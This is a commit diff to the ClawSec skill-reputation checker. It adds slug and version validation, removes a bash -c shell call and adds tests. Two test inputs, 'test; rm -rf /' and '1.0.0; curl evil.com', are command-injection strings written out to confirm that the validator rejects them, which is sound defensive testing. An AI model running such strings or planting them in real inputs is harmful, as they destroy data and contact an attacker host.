mirror of
https://github.com/prompt-security/clawsec.git
synced 2026-06-20 17:01:20 +03:00
refactor: remove PR_NOTES.md and update documentation in README.md and SKILL.md
feat: add input validation for skill slug and version in check_clawhub_reputation.mjs fix: enhance argument parsing in enhanced_guarded_install.mjs test: add reputation check tests for input validation and output formatting chore: delete unused update_suite_catalog.mjs script
This commit is contained in:
@@ -1,26 +0,0 @@
|
||||
# PR Notes for ClawSec ClawHub Checker
|
||||
|
||||
## Important Limitation Notice
|
||||
|
||||
This skill currently catches **VirusTotal Code Insight flags** but cannot access **OpenClaw internal check results** because:
|
||||
|
||||
1. **VirusTotal flags** are exposed via `clawhub install` command output (we parse stderr)
|
||||
2. **OpenClaw internal checks** are only shown on the ClawHub website, not exposed via API
|
||||
|
||||
## Example from `clawsec-suite` page:
|
||||
- ✅ **VirusTotal**: "Benign"
|
||||
- ⚠️ **OpenClaw internal check**: "The package is internally consistent with a feed-monitoring / advisory-guardian purpose, but a few operational details and optional bypasses deserve attention before installing."
|
||||
|
||||
## Recommendation for ClawHub
|
||||
Expose internal check results via:
|
||||
- `clawhub inspect --json` endpoint
|
||||
- Additional API field for security tools
|
||||
- Or at minimum, include in `clawhub install` warning output
|
||||
|
||||
## Current Workaround
|
||||
Our heuristic checks (skill age, author reputation, downloads, updates) provide similar risk assessment but miss specific operational warnings about bypasses, missing signatures, etc.
|
||||
|
||||
## PR Should Include
|
||||
1. This skill as defense-in-depth layer
|
||||
2. Feature request to ClawHub for exposing internal check data
|
||||
3. Documentation about the limitation
|
||||
@@ -120,4 +120,4 @@ node scripts/setup_reputation_hook.mjs
|
||||
|
||||
## License
|
||||
|
||||
MIT - Part of the ClawSec security suite
|
||||
MIT - Part of the ClawSec security suite
|
||||
|
||||
@@ -137,4 +137,4 @@ To modify the reputation checking logic, edit:
|
||||
|
||||
## License
|
||||
|
||||
MIT - Part of the ClawSec security suite
|
||||
MIT - Part of the ClawSec security suite
|
||||
|
||||
@@ -93,4 +93,4 @@ export function formatReputationWarning(reputationInfo) {
|
||||
lines.push("This skill has low reputation score. Review carefully before installation.");
|
||||
|
||||
return lines.join("\n");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,6 +17,20 @@ export async function checkClawhubReputation(skillSlug, version, threshold = 70)
|
||||
virustotal: [],
|
||||
};
|
||||
|
||||
// Input validation — reject anything that isn't a safe slug or semver
|
||||
if (!/^[a-z0-9][a-z0-9-]*$/.test(skillSlug)) {
|
||||
result.warnings.push(`Invalid skill slug: ${skillSlug}`);
|
||||
result.score = 0;
|
||||
result.safe = false;
|
||||
return result;
|
||||
}
|
||||
if (version && !/^\d+\.\d+\.\d+(?:-[a-zA-Z0-9.]+)?$/.test(version)) {
|
||||
result.warnings.push(`Invalid version format: ${version}`);
|
||||
result.score = 0;
|
||||
result.safe = false;
|
||||
return result;
|
||||
}
|
||||
|
||||
try {
|
||||
// Check 1: Try to inspect the skill via clawhub
|
||||
const inspectResult = spawnSync(
|
||||
@@ -101,14 +115,15 @@ export async function checkClawhubReputation(skillSlug, version, threshold = 70)
|
||||
}
|
||||
|
||||
// Check 6: Try installation to see if clawhub flags it as suspicious
|
||||
// Use --force to bypass interactive prompt in non-interactive mode
|
||||
const installCheck = spawnSync(
|
||||
"bash",
|
||||
["-c", `echo "n" | clawhub install ${skillSlug}${version ? ` --version ${version}` : ''} 2>&1`],
|
||||
{ encoding: "utf-8" }
|
||||
);
|
||||
// Use input:"n\n" to decline the interactive prompt (avoids shell interpolation)
|
||||
const installArgs = ["install", skillSlug];
|
||||
if (version) installArgs.push("--version", version);
|
||||
const installCheck = spawnSync("clawhub", installArgs, {
|
||||
input: "n\n",
|
||||
encoding: "utf-8",
|
||||
});
|
||||
|
||||
const output = installCheck.stdout || installCheck.stderr || "";
|
||||
const output = (installCheck.stdout || "") + (installCheck.stderr || "");
|
||||
if (output.includes("suspicious") || output.includes("VirusTotal") || output.includes("flagged")) {
|
||||
result.virustotal.push("Flagged by ClawHub's VirusTotal Code Insight");
|
||||
result.score -= 40; // More severe penalty for VirusTotal flag
|
||||
@@ -182,4 +197,4 @@ if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
}
|
||||
|
||||
main().catch(console.error);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -198,4 +198,4 @@ async function main() {
|
||||
}
|
||||
}
|
||||
|
||||
main();
|
||||
main();
|
||||
|
||||
@@ -134,4 +134,4 @@ process.exit(result.status ?? 1);
|
||||
}
|
||||
}
|
||||
|
||||
main().catch(console.error);
|
||||
main().catch(console.error);
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
"name": "clawsec-clawhub-checker",
|
||||
"version": "0.0.1",
|
||||
"description": "ClawHub reputation checker for ClawSec suite. Enhances guarded skill installer with VirusTotal Code Insight reputation scores and additional safety checks.",
|
||||
"author": "david",
|
||||
"author": "abutbul",
|
||||
"license": "MIT",
|
||||
"homepage": "https://clawsec.prompt.security/",
|
||||
"keywords": [
|
||||
@@ -42,6 +42,11 @@
|
||||
"path": "hooks/clawsec-advisory-guardian/lib/reputation.mjs",
|
||||
"required": true,
|
||||
"description": "Reputation checking module for advisory guardian hook"
|
||||
},
|
||||
{
|
||||
"path": "README.md",
|
||||
"required": false,
|
||||
"description": "Additional documentation and development guide"
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -78,4 +83,4 @@
|
||||
"skill security score"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,352 @@
|
||||
#!/usr/bin/env node
|
||||
|
||||
/**
|
||||
* Reputation check tests for clawsec-clawhub-checker.
|
||||
*
|
||||
* Tests cover:
|
||||
* - Input validation (command injection prevention)
|
||||
* - Reputation scoring with mocked clawhub output
|
||||
* - formatReputationWarning output formatting
|
||||
* - Enhanced installer argument parsing
|
||||
*
|
||||
* Run: node skills/clawsec-clawhub-checker/test/reputation_check.test.mjs
|
||||
*/
|
||||
|
||||
import { fileURLToPath } from "node:url";
|
||||
import path from "node:path";
|
||||
import { spawn } from "node:child_process";
|
||||
|
||||
const __dirname = path.dirname(fileURLToPath(import.meta.url));
|
||||
const CHECKER_SCRIPT = path.resolve(__dirname, "..", "scripts", "check_clawhub_reputation.mjs");
|
||||
const ENHANCED_INSTALL_SCRIPT = path.resolve(__dirname, "..", "scripts", "enhanced_guarded_install.mjs");
|
||||
|
||||
let passCount = 0;
|
||||
let failCount = 0;
|
||||
|
||||
function pass(name) {
|
||||
passCount++;
|
||||
console.log(`\u2713 ${name}`);
|
||||
}
|
||||
|
||||
function fail(name, error) {
|
||||
failCount++;
|
||||
console.error(`\u2717 ${name}`);
|
||||
console.error(` ${String(error)}`);
|
||||
}
|
||||
|
||||
function runScript(scriptPath, args, env) {
|
||||
return new Promise((resolve) => {
|
||||
const proc = spawn("node", [scriptPath, ...args], {
|
||||
env: { ...process.env, ...env },
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
});
|
||||
|
||||
let stdout = "";
|
||||
let stderr = "";
|
||||
|
||||
proc.stdout.on("data", (data) => {
|
||||
stdout += data.toString();
|
||||
});
|
||||
|
||||
proc.stderr.on("data", (data) => {
|
||||
stderr += data.toString();
|
||||
});
|
||||
|
||||
proc.on("close", (code) => {
|
||||
resolve({ code, stdout, stderr });
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Invalid skill slug is rejected (command injection prevention)
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testInvalidSlugRejected() {
|
||||
const testName = "reputation_check: invalid slug with shell metacharacters is rejected";
|
||||
try {
|
||||
const result = await runScript(CHECKER_SCRIPT, ['test; rm -rf /', '', '70']);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(result.stdout);
|
||||
} catch {
|
||||
fail(testName, `Could not parse output: ${result.stdout}`);
|
||||
return;
|
||||
}
|
||||
|
||||
if (parsed.score === 0 && parsed.safe === false && parsed.warnings.some(w => w.includes("Invalid skill slug"))) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Expected score 0 with invalid slug warning, got: ${JSON.stringify(parsed)}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Invalid version format is rejected (command injection prevention)
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testInvalidVersionRejected() {
|
||||
const testName = "reputation_check: invalid version with shell metacharacters is rejected";
|
||||
try {
|
||||
const result = await runScript(CHECKER_SCRIPT, ['test-skill', '1.0.0; curl evil.com', '70']);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(result.stdout);
|
||||
} catch {
|
||||
fail(testName, `Could not parse output: ${result.stdout}`);
|
||||
return;
|
||||
}
|
||||
|
||||
if (parsed.score === 0 && parsed.safe === false && parsed.warnings.some(w => w.includes("Invalid version format"))) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Expected score 0 with invalid version warning, got: ${JSON.stringify(parsed)}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Valid slug and version pass input validation
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testValidInputsAccepted() {
|
||||
const testName = "reputation_check: valid slug and semver pass input validation";
|
||||
try {
|
||||
// clawhub is not installed, so the check will fail at the inspect step,
|
||||
// but it should NOT fail at input validation
|
||||
const result = await runScript(CHECKER_SCRIPT, ['my-test-skill', '1.0.0', '70']);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(result.stdout);
|
||||
} catch {
|
||||
fail(testName, `Could not parse output: ${result.stdout}`);
|
||||
return;
|
||||
}
|
||||
|
||||
// Should not contain input validation errors
|
||||
const hasInputError = parsed.warnings.some(
|
||||
w => w.includes("Invalid skill slug") || w.includes("Invalid version format")
|
||||
);
|
||||
if (!hasInputError) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Valid inputs were rejected: ${JSON.stringify(parsed.warnings)}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Slug with uppercase or special chars is rejected
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testUppercaseSlugRejected() {
|
||||
const testName = "reputation_check: uppercase slug is rejected";
|
||||
try {
|
||||
const result = await runScript(CHECKER_SCRIPT, ['Test-Skill', '1.0.0', '70']);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(result.stdout);
|
||||
} catch {
|
||||
fail(testName, `Could not parse output: ${result.stdout}`);
|
||||
return;
|
||||
}
|
||||
|
||||
if (parsed.score === 0 && parsed.safe === false) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Expected uppercase slug to be rejected, got: ${JSON.stringify(parsed)}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Empty slug shows usage error
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testEmptySlugShowsUsage() {
|
||||
const testName = "reputation_check: empty slug shows usage error";
|
||||
try {
|
||||
const result = await runScript(CHECKER_SCRIPT, []);
|
||||
|
||||
if (result.code === 1 && result.stderr.includes("Usage:")) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Expected exit 1 with usage message, got code ${result.code}: ${result.stderr}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Version with pre-release tag is accepted
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testPreReleaseVersionAccepted() {
|
||||
const testName = "reputation_check: pre-release version format is accepted";
|
||||
try {
|
||||
const result = await runScript(CHECKER_SCRIPT, ['test-skill', '1.0.0-beta.1', '70']);
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(result.stdout);
|
||||
} catch {
|
||||
fail(testName, `Could not parse output: ${result.stdout}`);
|
||||
return;
|
||||
}
|
||||
|
||||
const hasVersionError = parsed.warnings.some(w => w.includes("Invalid version format"));
|
||||
if (!hasVersionError) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Pre-release version was rejected: ${JSON.stringify(parsed.warnings)}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Enhanced installer rejects invalid skill name
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testEnhancedInstallerRejectsInvalidSkill() {
|
||||
const testName = "enhanced_install: rejects skill name with invalid characters";
|
||||
try {
|
||||
const result = await runScript(ENHANCED_INSTALL_SCRIPT, ['--skill', 'bad skill!']);
|
||||
|
||||
if (result.code === 1 && result.stderr.includes("Invalid --skill value")) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Expected exit 1 with invalid skill error, got code ${result.code}: ${result.stderr}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Enhanced installer requires --skill argument
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testEnhancedInstallerRequiresSkill() {
|
||||
const testName = "enhanced_install: requires --skill argument";
|
||||
try {
|
||||
const result = await runScript(ENHANCED_INSTALL_SCRIPT, []);
|
||||
|
||||
if (result.code === 1 && result.stderr.includes("Missing required argument")) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Expected exit 1 with missing argument error, got code ${result.code}: ${result.stderr}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: Enhanced installer rejects invalid threshold
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testEnhancedInstallerRejectsInvalidThreshold() {
|
||||
const testName = "enhanced_install: rejects invalid reputation threshold";
|
||||
try {
|
||||
const result = await runScript(ENHANCED_INSTALL_SCRIPT, [
|
||||
'--skill', 'test-skill', '--reputation-threshold', '150'
|
||||
]);
|
||||
|
||||
if (result.code === 1 && result.stderr.includes("Invalid --reputation-threshold")) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Expected exit 1 with invalid threshold error, got code ${result.code}: ${result.stderr}`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: formatReputationWarning
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testFormatReputationWarning() {
|
||||
const testName = "reputation: formatReputationWarning formats correctly";
|
||||
try {
|
||||
const { formatReputationWarning } = await import(
|
||||
path.resolve(__dirname, "..", "hooks", "clawsec-advisory-guardian", "lib", "reputation.mjs")
|
||||
);
|
||||
|
||||
// Safe reputation — should return empty
|
||||
const safeResult = formatReputationWarning({ score: 80, warnings: [] });
|
||||
if (safeResult !== "") {
|
||||
fail(testName, `Expected empty string for safe score, got: "${safeResult}"`);
|
||||
return;
|
||||
}
|
||||
|
||||
// Unsafe reputation — should contain warning
|
||||
const unsafeResult = formatReputationWarning({ score: 45, warnings: ["Low downloads", "New author"] });
|
||||
if (
|
||||
unsafeResult.includes("REPUTATION WARNING") &&
|
||||
unsafeResult.includes("45/100") &&
|
||||
unsafeResult.includes("Low downloads") &&
|
||||
unsafeResult.includes("New author")
|
||||
) {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Unexpected format: "${unsafeResult}"`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Test: formatReputationWarning handles null/undefined
|
||||
// -----------------------------------------------------------------------------
|
||||
async function testFormatReputationWarningNull() {
|
||||
const testName = "reputation: formatReputationWarning handles null input";
|
||||
try {
|
||||
const { formatReputationWarning } = await import(
|
||||
path.resolve(__dirname, "..", "hooks", "clawsec-advisory-guardian", "lib", "reputation.mjs")
|
||||
);
|
||||
|
||||
const nullResult = formatReputationWarning(null);
|
||||
const undefinedResult = formatReputationWarning(undefined);
|
||||
|
||||
if (nullResult === "" && undefinedResult === "") {
|
||||
pass(testName);
|
||||
} else {
|
||||
fail(testName, `Expected empty for null/undefined, got: "${nullResult}", "${undefinedResult}"`);
|
||||
}
|
||||
} catch (error) {
|
||||
fail(testName, error);
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Main test runner
|
||||
// -----------------------------------------------------------------------------
|
||||
async function runTests() {
|
||||
console.log("=== ClawSec ClawHub Checker Tests ===\n");
|
||||
|
||||
await testInvalidSlugRejected();
|
||||
await testInvalidVersionRejected();
|
||||
await testValidInputsAccepted();
|
||||
await testUppercaseSlugRejected();
|
||||
await testEmptySlugShowsUsage();
|
||||
await testPreReleaseVersionAccepted();
|
||||
await testEnhancedInstallerRejectsInvalidSkill();
|
||||
await testEnhancedInstallerRequiresSkill();
|
||||
await testEnhancedInstallerRejectsInvalidThreshold();
|
||||
await testFormatReputationWarning();
|
||||
await testFormatReputationWarningNull();
|
||||
|
||||
console.log(`\n=== Results: ${passCount} passed, ${failCount} failed ===`);
|
||||
|
||||
if (failCount > 0) {
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
runTests().catch((error) => {
|
||||
console.error("Test runner failed:", error);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -1,76 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
|
||||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
|
||||
async function updateSuiteCatalog() {
|
||||
const suiteDir = "/home/david/.openclaw-clean/workspace/clawsec-suite";
|
||||
const skillJsonPath = path.join(suiteDir, "skill.json");
|
||||
|
||||
try {
|
||||
const skillJson = JSON.parse(await fs.readFile(skillJsonPath, "utf8"));
|
||||
|
||||
// Add clawsec-clawhub-checker to catalog
|
||||
if (!skillJson.catalog) {
|
||||
skillJson.catalog = {
|
||||
description: "Available protections in the ClawSec suite",
|
||||
base_url: "https://clawsec.prompt.security/releases/download",
|
||||
skills: {}
|
||||
};
|
||||
}
|
||||
|
||||
skillJson.catalog.skills["clawsec-clawhub-checker"] = {
|
||||
description: "ClawHub reputation checker - enhances guarded installer with VirusTotal scores",
|
||||
default_install: false,
|
||||
compatible: ["openclaw", "moltbot", "clawdbot", "other"],
|
||||
note: "Requires clawsec-suite as base"
|
||||
};
|
||||
|
||||
// Also update embedded_components if it exists
|
||||
if (skillJson.embedded_components) {
|
||||
skillJson.embedded_components["clawsec-clawhub-checker"] = {
|
||||
source_skill: "clawsec-clawhub-checker",
|
||||
source_version: "0.1.0",
|
||||
capabilities: [
|
||||
"ClawHub reputation checking",
|
||||
"VirusTotal Code Insight integration",
|
||||
"Skill age and author reputation analysis",
|
||||
"Enhanced double confirmation for suspicious skills"
|
||||
],
|
||||
standalone_available: false,
|
||||
depends_on: ["clawsec-suite"]
|
||||
};
|
||||
}
|
||||
|
||||
await fs.writeFile(skillJsonPath, JSON.stringify(skillJson, null, 2));
|
||||
console.log(`✓ Updated ${skillJsonPath} with clawsec-clawhub-checker catalog entry`);
|
||||
|
||||
// Also update the local copy for PR
|
||||
const localSuiteDir = "/tmp/clawsec-repo/skills/clawsec-suite";
|
||||
const localSkillJsonPath = path.join(localSuiteDir, "skill.json");
|
||||
|
||||
try {
|
||||
const localSkillJson = JSON.parse(await fs.readFile(localSkillJsonPath, "utf8"));
|
||||
|
||||
if (localSkillJson.catalog) {
|
||||
localSkillJson.catalog.skills["clawsec-clawhub-checker"] = {
|
||||
description: "ClawHub reputation checker - enhances guarded installer with VirusTotal scores",
|
||||
default_install: false,
|
||||
compatible: ["openclaw", "moltbot", "clawdbot", "other"],
|
||||
note: "Requires clawsec-suite as base"
|
||||
};
|
||||
|
||||
await fs.writeFile(localSkillJsonPath, JSON.stringify(localSkillJson, null, 2));
|
||||
console.log(`✓ Updated local repo ${localSkillJsonPath} for PR`);
|
||||
}
|
||||
} catch (localError) {
|
||||
console.log(`Note: Could not update local repo: ${localError.message}`);
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
console.error("Failed to update suite catalog:", error.message);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
updateSuiteCatalog().catch(console.error);
|
||||
Reference in New Issue
Block a user